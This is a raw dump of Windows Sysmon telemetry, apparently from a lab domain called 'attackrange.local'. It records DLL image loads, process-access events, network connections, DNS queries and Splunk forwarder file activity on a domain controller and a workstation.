(rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000054533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000054532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000054531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.047{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 734700x800000000000000054530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\taskhostw.exe10.0.14393.3297 (rs1_release_1.191001-1045)Host Process for Windows TasksMicrosoft® Windows® Operating SystemMicrosoft Corporationtaskhostw.exeMD5=B5D41CD8E27C26DA82B11B277D233B04,SHA256=1876990EEBC99F0B0F66BEC435FE2810E450532E23E22427DA31A09802394461,IMPHASH=1CCD2E7A159E4500473733FB9D75028BtrueMicrosoft WindowsValid 734700x800000000000000054529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.047{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.047{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.047{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.047{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000054522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000054512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.031{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000054613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.029{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63115-false52.33.45.66ec2-52-33-45-66.us-west-2.compute.amazonaws.com443https 354300x800000000000000054612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.003{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56227- 23542300x800000000000000054611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.693{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC96CA386DBA2A870A2BB0F1289DBFCF,SHA256=14091ECAB55C45E1D67948BCABBFCE6B963D5BCAB7055A2E182F356188C4FFAA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:54.548{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50363-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:56.742{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48FFAF9E3BF744EA6EE443EB1B0CD1C6,SHA256=B58135432678DEBBCD8BBC58D658B73B306A2E313483FA98A21AC71766BAB5F8,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000054610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.590{7BD73061-728D-613B-560B-00000000F001}4776pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.com9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000054609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.585{7BD73061-728D-613B-560B-00000000F001}4776pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.com034.211.187.119;54.70.80.82;54.190.205.249;34.216.113.46;54.184.190.181;35.160.191.122;35.155.229.139;52.33.45.66;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000054608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:54.144{7BD73061-728D-613B-560B-00000000F001}4776d34chcsvb7ug62.cloudfront.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000054607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=4A82CF66460A1DA451FF26AA1138C633,SHA256=D96179DB6848708F04E473A6F723E8B275605DD6C6DA4E477C9C53485DCFF25F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=14CB548D83B37BC9C34FFF7F037CF993,SHA256=B723DD606D60B846D8906E540D436E01A4FE9EC5E52E4C3EF49267B2AF187F23,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.193{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000054604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.114{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=05603AC3D2AA4DB5BEF6701484B4AFF6,SHA256=21F4CFC21F69AAC3917BF490D168EEB581059BC302A01BE413E229960F4DC44F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.114{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=82D9D8352EE1FDC23AEAA841F7EB3CB3,SHA256=165678E1252E789C34ECE4F0A3CD56B8EBF4E5B00A197CFF713F490D2971952A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:57.747{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F20F398974888B1E9C73136843DA6740,SHA256=3B59849DE3F01679873F86777C46C62804A2AE45FC5BADD2EA034393AA59A7A8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:55.470{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50364-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:57.758{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=639A4B1C955FB4198F221AE156EC4C1F,SHA256=3E9B6D138FCE37078B7DA461C9A92057B07A991CDEE4B440C53563C4369DC5F9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.494{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63123-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000054628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 